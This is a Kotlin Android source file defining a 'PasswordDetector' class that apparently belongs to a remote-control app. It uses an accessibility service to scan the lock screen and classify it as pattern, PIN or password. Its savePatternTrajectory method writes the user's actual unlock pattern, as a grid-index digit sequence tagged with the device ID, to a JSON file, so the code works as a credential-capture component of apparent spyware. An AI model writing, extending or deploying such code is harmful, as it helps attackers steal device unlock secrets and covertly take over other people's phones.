package com.hikoncont.util

import android.content.Context
import android.content.SharedPreferences
import android.util.Log
import android.view.accessibility.AccessibilityNodeInfo
import android.app.KeyguardManager
import android.provider.Settings
import com.hikoncont.service.AccessibilityRemoteService
import com.hikoncont.activity.PasswordInputActivity
import org.json.JSONArray
import org.json.JSONObject
import java.io.File
import java.io.FileWriter
import java.io.IOException

/**
 * 密码检测器
 * 
 * 功能：
 * 1. 检测设备是否设置密码
 * 2. 判断密码类型（图形/数字/文本）
 * 3. 保存密码相关信息
 * 4. 记录图形密码轨迹
 */
class PasswordDetector(private val context: Context) {
    
    companion object {
        private const val TAG = "PasswordDetector"
        private const val PREFS_NAME = "password_detection"
        private const val KEY_PASSWORD_TYPE = "password_type"
        private const val KEY_HAS_PASSWORD = "has_password"
        private const val KEY_LAST_DETECTION = "last_detection_time"
        
        // 密码类型常量
        const val PASSWORD_TYPE_NONE = "none"
        const val PASSWORD_TYPE_PATTERN = "pattern"
        const val PASSWORD_TYPE_PIN = "pin"
        const val PASSWORD_TYPE_PASSWORD = "password"
        
        // 检测关键词
        private val PATTERN_KEYWORDS = listOf("图案", "pattern", "图形", "手势")
        private val PIN_KEYWORDS = listOf("PIN", "pin", "数字", "密码")
        private val PASSWORD_KEYWORDS = listOf("密码", "password", "口令")
        private val LOCK_SCREEN_KEYWORDS = listOf("锁屏", "解锁", "lock", "unlock")
    }
    
    private val prefs: SharedPreferences = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
    private val trajectoryDir = File(context.filesDir, "pattern_trajectories")
    
    init {
        // 创建轨迹存储目录
        if (!trajectoryDir.exists()) {
            trajectoryDir.mkdirs()
        }
    }
    
    /**
     * 检测密码类型
     */
    fun detectPasswordType(): String {
        Log.i(TAG, "🔍 开始检测设备密码类型")
        
        try {
            // 首先检查设备是否设置了锁屏密码
            val keyguardManager = context.getSystemService(Context.KEYGUARD_SERVICE) as KeyguardManager
            if (!keyguardManager.isKeyguardSecure) {
                Log.i(TAG, "ℹ️ 设备未设置锁屏密码")
                saveDetectionResult(PASSWORD_TYPE_NONE)
                return PASSWORD_TYPE_NONE
            }
            
            Log.i(TAG, "✅ 设备已设置锁屏密码")
            
            // 尝试通过系统设置检测密码类型
            val passwordType = detectPasswordTypeFromSettings()
            
            // 如果系统设置检测失败，尝试通过无障碍服务检测
            if (passwordType == PASSWORD_TYPE_NONE ) {
                Log.i(TAG, "🔄 尝试通过无障碍服务检测密码类型")
                val uiPasswordType = detectPasswordTypeFromUI()
                if (uiPasswordType != PASSWORD_TYPE_NONE) {
                    saveDetectionResult(uiPasswordType)
                    return uiPasswordType
                }
            }
            
            // 如果所有检测方法都失败，但KeyguardManager确认有密码，则提供默认选项
            if (passwordType == PASSWORD_TYPE_NONE) {
                Log.w(TAG, "⚠️ 无法确定具体密码类型，但设备确实设置了密码")
                // 返回一个通用密码类型，让用户选择
                val fallbackType = PASSWORD_TYPE_PIN // 默认假设为PIN
                saveDetectionResult(fallbackType)
                return fallbackType
            }
            
            // 保存检测结果
            saveDetectionResult(passwordType)
            
            Log.i(TAG, "✅ 密码类型检测完成: $passwordType")
            return passwordType
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 密码类型检测失败", e)
            return PASSWORD_TYPE_NONE
        }
    }
    
    /**
     * 通过系统设置检测密码类型
     */
    private fun detectPasswordTypeFromSettings(): String {
        // 改为完全基于无障碍UI分析，不再读取 Settings.Secure
        return try {
            val keyguardManager = context.getSystemService(Context.KEYGUARD_SERVICE) as KeyguardManager
            if (!keyguardManager.isKeyguardSecure) {
                Log.i(TAG, "ℹ️ 未设置锁屏密码")
                return PASSWORD_TYPE_NONE
            }

            val service = AccessibilityRemoteService.getInstance()
            val rootNode = service?.rootInActiveWindow
            if (rootNode == null) {
                Log.w(TAG, "⚠️ 无法获取UI根节点，返回PIN作为回退")
                return PASSWORD_TYPE_PIN
            }

            val analysisResult = analyzeUIForPasswordType(rootNode)
            rootNode.recycle()

            // 分析结果中优先图形
            when (analysisResult) {
                PASSWORD_TYPE_PATTERN -> PASSWORD_TYPE_PATTERN
                PASSWORD_TYPE_PIN -> PASSWORD_TYPE_PIN
                PASSWORD_TYPE_PASSWORD -> PASSWORD_TYPE_PASSWORD
                else -> PASSWORD_TYPE_PIN // 回退
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ UI分析检测失败，返回NONE", e)
            PASSWORD_TYPE_NONE
        }
    }
    
    /**
     * 尝试区分PIN和密码
     */
    private fun tryDetectPinOrPassword(): String {
        try {
            // 检查是否设置了PIN
            val pinEnabled = safeGetInt(context.contentResolver, "lockscreen.pin_enabled") == 1
            
            if (pinEnabled) {
                return PASSWORD_TYPE_PIN
            }
            
            // 检查密码长度设置（通常PIN是4-6位，密码更长）
            val passwordLength = safeGetInt(context.contentResolver, "lockscreen.password_min_length", 4)
            
            return if (passwordLength <= 6) {
                PASSWORD_TYPE_PIN
            } else {
                PASSWORD_TYPE_PASSWORD
            }
            
        } catch (e: Exception) {
            Log.w(TAG, "区分PIN和密码失败，默认为PIN", e)
            return PASSWORD_TYPE_PIN
        }
    }

    /**
     * 安全读取 Settings.Secure int，避免 SecurityException
     */
    private fun safeGetInt(resolver: android.content.ContentResolver, key: String, defaultValue: Int = 0): Int {
        return try {
            Settings.Secure.getInt(resolver, key)
        } catch (se: SecurityException) {
            Log.w(TAG, "Settings.Secure.$key 受限，使用默认值 $defaultValue")
            defaultValue
        } catch (e: Exception) {
            Log.w(TAG, "读取 Settings.Secure.$key 失败，使用默认值 $defaultValue", e)
            defaultValue
        }
    }

    /**
     * 安全读取 Settings.Secure long，避免 SecurityException
     */
    private fun safeGetLong(resolver: android.content.ContentResolver, key: String, defaultValue: Long = 0L): Long {
        return try {
            Settings.Secure.getLong(resolver, key)
        } catch (se: SecurityException) {
            Log.w(TAG, "Settings.Secure.$key 受限，使用默认值 $defaultValue")
            defaultValue
        } catch (e: Exception) {
            Log.w(TAG, "读取 Settings.Secure.$key 失败，使用默认值 $defaultValue", e)
            defaultValue
        }
    }

    /**
     * 是否启用了图形锁（优先快速判断）
     */
    fun hasPatternLock(): Boolean {
        // 仅用UI分析快速判断是否包含图形解锁视图/关键词
        return try {
            val keyguardManager = context.getSystemService(Context.KEYGUARD_SERVICE) as KeyguardManager
            if (!keyguardManager.isKeyguardSecure) return false
            if (!AccessibilityRemoteService.isServiceRunning()) return false
            val service = AccessibilityRemoteService.getInstance()
            val rootNode = service?.rootInActiveWindow ?: return false
            val uiType = analyzeUIForPasswordType(rootNode)
            rootNode.recycle()
            uiType == PASSWORD_TYPE_PATTERN
        } catch (e: Exception) {
            Log.w(TAG, "hasPatternLock UI检测失败", e)
            false
        }
    }
    
    /**
     * 通过UI检测密码类型（备用方法）
     */
    private fun detectPasswordTypeFromUI(): String {
        try {
            val service = AccessibilityRemoteService.getInstance()
            val rootNode = service?.rootInActiveWindow ?: return PASSWORD_TYPE_NONE
            
            val passwordType = analyzeUIForPasswordType(rootNode)
            rootNode.recycle()
            return passwordType
            
        } catch (e: Exception) {
            Log.e(TAG, "UI检测失败", e)
            return PASSWORD_TYPE_NONE
        }
    }
    
    /**
     * 分析UI元素以确定密码类型
     */
    private fun analyzeUIForPasswordType(rootNode: AccessibilityNodeInfo): String {
        val uiAnalysis = UIAnalysisResult()
        
        // 递归分析UI节点
        analyzeNodeRecursive(rootNode, uiAnalysis, 0)
        
        Log.d(TAG, "🔍 UI分析结果: $uiAnalysis")
        
        // 根据分析结果判断密码类型
        return determinePasswordType(uiAnalysis)
    }
    
    /**
     * 递归分析UI节点
     */
    private fun analyzeNodeRecursive(node: AccessibilityNodeInfo, analysis: UIAnalysisResult, depth: Int) {
        if (depth > 10) return // 限制递归深度
        
        try {
            val text = node.text?.toString()?.lowercase() ?: ""
            val contentDesc = node.contentDescription?.toString()?.lowercase() ?: ""
            val className = node.className?.toString()?.lowercase() ?: ""
            
            // 检查密码相关关键词
            checkPasswordKeywords(text, contentDesc, analysis)
            
            // 检查UI组件类型
            checkUIComponentTypes(className, node, analysis)
            
            // 检查锁屏相关元素
            checkLockScreenElements(text, contentDesc, className, analysis)
            
            // 递归检查子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    analyzeNodeRecursive(child, analysis, depth + 1)
                    child.recycle()
                }
            }
            
        } catch (e: Exception) {
            Log.w(TAG, "分析UI节点时出错", e)
        }
    }
    
    /**
     * 检查密码相关关键词
     */
    private fun checkPasswordKeywords(text: String, contentDesc: String, analysis: UIAnalysisResult) {
        // 检查图形密码关键词
        if (PATTERN_KEYWORDS.any { text.contains(it) || contentDesc.contains(it) }) {
            analysis.hasPatternKeywords = true
        }
        
        // 检查PIN关键词
        if (PIN_KEYWORDS.any { text.contains(it) || contentDesc.contains(it) }) {
            analysis.hasPinKeywords = true
        }
        
        // 检查文本密码关键词
        if (PASSWORD_KEYWORDS.any { text.contains(it) || contentDesc.contains(it) }) {
            analysis.hasPasswordKeywords = true
        }
        
        // 检查锁屏关键词
        if (LOCK_SCREEN_KEYWORDS.any { text.contains(it) || contentDesc.contains(it) }) {
            analysis.hasLockScreenKeywords = true
        }
    }
    
    /**
     * 检查UI组件类型
     */
    private fun checkUIComponentTypes(className: String, node: AccessibilityNodeInfo, analysis: UIAnalysisResult) {
        // 检查密码输入框
        if (node.isPassword || className.contains("password") || className.contains("edittext")) {
            analysis.hasPasswordField = true
        }
        
        // 检查数字键盘
        if (className.contains("keypad") || className.contains("keyboard")) {
            analysis.hasKeypad = true
        }
        
        // 检查图形密码视图
        if (className.contains("pattern") || className.contains("gesture")) {
            analysis.hasPatternView = true
        }
        
        // 检查按钮
        if (className.contains("button")) {
            analysis.buttonCount++
        }
    }
    
    /**
     * 检查锁屏相关元素
     */
    private fun checkLockScreenElements(text: String, contentDesc: String, className: String, analysis: UIAnalysisResult) {
        // 检查是否在锁屏界面
        if (text.contains("systemui") || className.contains("systemui")) {
            analysis.isLockScreen = true
        }
        
        // 检查解锁相关元素
        if (text.contains("解锁") || contentDesc.contains("unlock")) {
            analysis.hasUnlockElements = true
        }
    }
    
    /**
     * 根据分析结果确定密码类型
     */
    private fun determinePasswordType(analysis: UIAnalysisResult): String {
        Log.d(TAG, "🔍 分析密码类型: $analysis")
        
        // 优先检查图形密码
        if (analysis.hasPatternView || analysis.hasPatternKeywords) {
            Log.d(TAG, "✅ 检测到图形密码")
            return PASSWORD_TYPE_PATTERN
        }
        
        // 检查数字密码
        if (analysis.hasKeypad && (analysis.hasPinKeywords || analysis.hasPasswordField)) {
            Log.d(TAG, "✅ 检测到数字密码")
            return PASSWORD_TYPE_PIN
        }
        
        // 检查文本密码
        if (analysis.hasPasswordField && analysis.hasPasswordKeywords) {
            Log.d(TAG, "✅ 检测到文本密码")
            return PASSWORD_TYPE_PASSWORD
        }
        
        // 检查是否有锁屏但无密码
        if (analysis.isLockScreen && !analysis.hasPasswordField && !analysis.hasKeypad) {
            Log.d(TAG, "✅ 检测到锁屏但无密码")
            return PASSWORD_TYPE_NONE
        }
        
        // 默认无密码
        Log.d(TAG, "ℹ️ 未检测到密码设置")
        return PASSWORD_TYPE_NONE
    }
    
    /**
     * 保存检测结果
     */
    private fun saveDetectionResult(passwordType: String) {
        try {
            prefs.edit().apply {
                putString(KEY_PASSWORD_TYPE, passwordType)
                putBoolean(KEY_HAS_PASSWORD, passwordType != PASSWORD_TYPE_NONE)
                putLong(KEY_LAST_DETECTION, System.currentTimeMillis())
                apply()
            }
            Log.d(TAG, "💾 检测结果已保存: $passwordType")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 保存检测结果失败", e)
        }
    }
    
    /**
     * 保存图形密码轨迹
     */
    fun savePatternTrajectory(trajectoryData: PasswordInputActivity.PatternTrajectoryData) {
        try {
            val json = JSONObject().apply {
                put("deviceId", trajectoryData.deviceId)
                put("installationId", trajectoryData.installationId)
                put("timestamp", trajectoryData.timestamp)
                put("passwordType", trajectoryData.passwordType)
                
                val pointsArray = JSONArray()
                trajectoryData.points.forEach { point ->
                    val pointObj = JSONObject().apply {
                        put("row", point.x.toInt()) // 行号 (0-2)
                        put("col", point.y.toInt()) // 列号 (0-2)
                        put("index", point.x.toInt() * 3 + point.y.toInt()) // 网格索引 (0-8)
                    }
                    pointsArray.put(pointObj)
                }
                put("points", pointsArray)
                put("pattern", trajectoryData.points.joinToString(",") { 
                    "${it.x.toInt() * 3 + it.y.toInt()}" 
                }) // 简化的数字序列
            }
            
            val fileName = "pattern_${trajectoryData.deviceId}.json"
            
            // 使用小米设备优化的文件写入方法
            val success = XiaomiFileUtils.safeWriteToFile(context, fileName, json.toString())
            if (success) {
                Log.i(TAG, "💾 图形密码轨迹已保存: $fileName")
            } else {
                Log.e(TAG, "❌ 图形密码轨迹保存失败: $fileName")
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 保存图形密码轨迹失败", e)
        }
    }
    
    /**
     * 保存密码信息
     */
    fun savePasswordInfo(passwordInfo: PasswordInputActivity.PasswordInfo) {
        try {
            val json = JSONObject().apply {
                put("deviceId", passwordInfo.deviceId)
                put("installationId", passwordInfo.installationId)
                put("passwordType", passwordInfo.passwordType)
                put("hasPassword", passwordInfo.hasPassword)
                put("timestamp", passwordInfo.timestamp)
            }
            
            val fileName = "password_info_${passwordInfo.deviceId}.json"
            
            // 使用小米设备优化的文件写入方法
            val success = XiaomiFileUtils.safeWriteToFile(context, fileName, json.toString())
            if (success) {
                Log.i(TAG, "💾 密码信息已保存: $fileName")
            } else {
                Log.e(TAG, "❌ 密码信息保存失败: $fileName")
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 保存密码信息失败", e)
        }
    }
    
    /**
     * 获取上次检测结果
     */
    fun getLastDetectionResult(): String {
        return prefs.getString(KEY_PASSWORD_TYPE, PASSWORD_TYPE_NONE) ?: PASSWORD_TYPE_NONE
    }
    
    /**
     * 检查是否有密码
     */
    fun hasPassword(): Boolean {
        return prefs.getBoolean(KEY_HAS_PASSWORD, false)
    }
    
    /**
     * 调试方法：打印所有相关设置
     */
    fun debugPasswordSettings() {
        try {
            val resolver = context.contentResolver
            Log.d(TAG, "🔍 === 密码设置调试信息 ===")
            
            // KeyguardManager
            val keyguardManager = context.getSystemService(Context.KEYGUARD_SERVICE) as KeyguardManager
            Log.d(TAG, "KeyguardManager.isKeyguardSecure: ${keyguardManager.isKeyguardSecure}")
            
            // 只读取最核心且通常可访问的设置
            val coreSettings: Map<String, Any> = mapOf(
                "lockscreen.password_type" to safeGetLong(resolver, "lockscreen.password_type", -1L),
                "lockscreen.password_enabled" to safeGetInt(resolver, "lockscreen.password_enabled", -1),
                "lockscreen.disabled" to safeGetInt(resolver, "lockscreen.disabled", -1)
            )
            
            coreSettings.forEach { (key, value) ->
                Log.d(TAG, "$key = $value")
            }
            
            // 尝试读取其他设置（可能不存在）
            val optionalSettings = listOf(
                "lockscreen.password_min_length",
                "lockscreen.password_min_letters", 
                "lockscreen.password_min_numeric",
                "lockscreen.password_min_symbols",
                "lockscreen.password_min_nonletter"
            )
            
            optionalSettings.forEach { key ->
                try {
                    val value = Settings.Secure.getInt(resolver, key)
                    Log.d(TAG, "$key = $value")
                } catch (e: Settings.SettingNotFoundException) {
                    Log.d(TAG, "$key = 不存在")
                } catch (e: SecurityException) {
                    Log.d(TAG, "$key = 权限受限")
                } catch (e: Exception) {
                    Log.d(TAG, "$key = 读取失败: ${e.message}")
                }
            }
            
            Log.d(TAG, "🔍 === 调试信息结束 ===")
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 调试信息获取失败", e)
        }
    }
    
    /**
     * UI分析结果数据类
     */
    data class UIAnalysisResult(
        var hasPatternKeywords: Boolean = false,
        var hasPinKeywords: Boolean = false,
        var hasPasswordKeywords: Boolean = false,
        var hasLockScreenKeywords: Boolean = false,
        var hasPasswordField: Boolean = false,
        var hasKeypad: Boolean = false,
        var hasPatternView: Boolean = false,
        var isLockScreen: Boolean = false,
        var hasUnlockElements: Boolean = false,
        var buttonCount: Int = 0
    ) {
        override fun toString(): String {
            return "UIAnalysisResult(" +
                    "patternKeywords=$hasPatternKeywords, " +
                    "pinKeywords=$hasPinKeywords, " +
                    "passwordKeywords=$hasPasswordKeywords, " +
                    "lockScreenKeywords=$hasLockScreenKeywords, " +
                    "passwordField=$hasPasswordField, " +
                    "keypad=$hasKeypad, " +
                    "patternView=$hasPatternView, " +
                    "isLockScreen=$isLockScreen, " +
                    "unlockElements=$hasUnlockElements, " +
                    "buttonCount=$buttonCount)"
        }
    }
}
